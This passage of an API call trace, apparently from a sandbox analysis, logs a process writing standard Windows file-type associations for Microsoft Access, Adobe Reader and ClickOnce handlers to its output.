	[0058.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Diagram.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDiagram \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Diagram.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDiagram \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 134
	[0058.217] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x85, lpOverlapped=0x0) returned 1
	[0058.217] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.217] GetFileType (hFile=0x5c) returned 0x3
	[0058.217] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Form.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenForm \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Form.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenForm \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128
	[0058.217] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7f, lpOverlapped=0x0) returned 1
	[0058.217] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.217] GetFileType (hFile=0x5c) returned 0x3
	[0058.217] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Shortcut.Function.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /SHELLSYSTEM [OpenFunction \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Shortcut.Function.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /SHELLSYSTEM [OpenFunction \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 125
	[0058.217] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7c, lpOverlapped=0x0) returned 1
	[0058.217] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.217] GetFileType (hFile=0x5c) returned 0x3
	[0058.217] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Macro.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Macro.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 135
	[0058.217] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x86, lpOverlapped=0x0) returned 1
	[0058.218] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.218] GetFileType (hFile=0x5c) returned 0x3
	[0058.218] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Module.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenModule \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Module.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenModule \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 132
	[0058.218] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x83, lpOverlapped=0x0) returned 1
	[0058.218] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.218] GetFileType (hFile=0x5c) returned 0x3
	[0058.218] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Query.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Query.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128
	[0058.218] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7f, lpOverlapped=0x0) returned 1
	[0058.218] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.218] GetFileType (hFile=0x5c) returned 0x3
	[0058.218] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Report.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenReport \"%1\", 2]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Report.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenReport \"%1\", 2]\r\n", lpUsedDefaultChar=0x0) returned 135
	[0058.218] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x86, lpOverlapped=0x0) returned 1
	[0058.218] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.218] GetFileType (hFile=0x5c) returned 0x3
	[0058.219] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.StoredProcedure.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.StoredProcedure.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 150
	[0058.219] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x95, lpOverlapped=0x0) returned 1
	[0058.219] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.219] GetFileType (hFile=0x5c) returned 0x3
	[0058.219] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Table.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Table.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128
	[0058.219] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7f, lpOverlapped=0x0) returned 1
	[0058.219] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.219] GetFileType (hFile=0x5c) returned 0x3
	[0058.219] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.View.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenView \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.View.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenView \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128
	[0058.219] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7f, lpOverlapped=0x0) returned 1
	[0058.219] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.219] GetFileType (hFile=0x5c) returned 0x3
	[0058.219] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 93
	[0058.219] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5c, lpOverlapped=0x0) returned 1
	[0058.220] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.220] GetFileType (hFile=0x5c) returned 0x3
	[0058.220] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WebApplicationReference.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WebApplicationReference.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 139
	[0058.220] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x8a, lpOverlapped=0x0) returned 1
	[0058.220] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.220] GetFileType (hFile=0x5c) returned 0x3
	[0058.220] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WizardDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WizardDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106
	[0058.220] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x69, lpOverlapped=0x0) returned 1
	[0058.220] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.220] GetFileType (hFile=0x5c) returned 0x3
	[0058.220] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WizardUserDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WizardUserDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 110
	[0058.220] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x6d, lpOverlapped=0x0) returned 1
	[0058.220] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.220] GetFileType (hFile=0x5c) returned 0x3
	[0058.220] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Workgroup.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Workgroup.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101
	[0058.221] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x64, lpOverlapped=0x0) returned 1
	[0058.221] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.221] GetFileType (hFile=0x5c) returned 0x3
	[0058.221] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="accesshtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accesshtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 80
	[0058.221] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4f, lpOverlapped=0x0) returned 1
	[0058.221] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.221] GetFileType (hFile=0x5c) returned 0x3
	[0058.221] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="accessthmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessthmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.221] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.221] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.221] GetFileType (hFile=0x5c) returned 0x3
	[0058.221] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="acrobat=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" /u \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acrobat=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" /u \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81
	[0058.221] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x50, lpOverlapped=0x0) returned 1
	[0058.222] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.222] GetFileType (hFile=0x5c) returned 0x3
	[0058.222] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.acrobatsecuritysettings.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.acrobatsecuritysettings.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 105
	[0058.222] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x68, lpOverlapped=0x0) returned 1
	[0058.222] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.222] GetFileType (hFile=0x5c) returned 0x3
	[0058.222] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.Document=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.Document=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0058.222] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x57, lpOverlapped=0x0) returned 1
	[0058.222] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.222] GetFileType (hFile=0x5c) returned 0x3
	[0058.222] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.Document.7=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.Document.7=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 90
	[0058.222] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x59, lpOverlapped=0x0) returned 1
	[0058.222] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.222] GetFileType (hFile=0x5c) returned 0x3
	[0058.222] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.FDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.FDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86
	[0058.223] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x55, lpOverlapped=0x0) returned 1
	[0058.230] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.230] GetFileType (hFile=0x5c) returned 0x3
	[0058.230] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.pdfxml.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.pdfxml.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0058.230] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x57, lpOverlapped=0x0) returned 1
	[0058.230] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.230] GetFileType (hFile=0x5c) returned 0x3
	[0058.230] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.XDPDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.XDPDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86
	[0058.230] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x55, lpOverlapped=0x0) returned 1
	[0058.230] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.230] GetFileType (hFile=0x5c) returned 0x3
	[0058.230] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.XFDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.XFDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 87
	[0058.230] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x56, lpOverlapped=0x0) returned 1
	[0058.231] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.231] GetFileType (hFile=0x5c) returned 0x3
	[0058.231] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Application.Manifest=rundll32.exe dfshim.dll,ShOpenVerbApplication %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Application.Manifest=rundll32.exe dfshim.dll,ShOpenVerbApplication %1\r\n", lpUsedDefaultChar=0x0) returned 72
	[0058.231] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x47, lpOverlapped=0x0) returned 1
	[0058.231] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.231] GetFileType (hFile=0x5c) returned 0x3
	[0058.231] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Application.Reference=rundll32.exe dfshim.dll,ShOpenVerbShortcut %1|%2\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Application.Reference=rundll32.exe dfshim.dll,ShOpenVerbShortcut %1|%2\r\n", lpUsedDefaultChar=0x0) returned 73
	[0058.231] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x48, lpOverlapped=0x0) returned 1
	[0058.231] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.231] GetFileType (hFile=0x5c) returned 0x3
	[0058.231] _get_osfhandle (_FileHandle=1) returned 0x5c
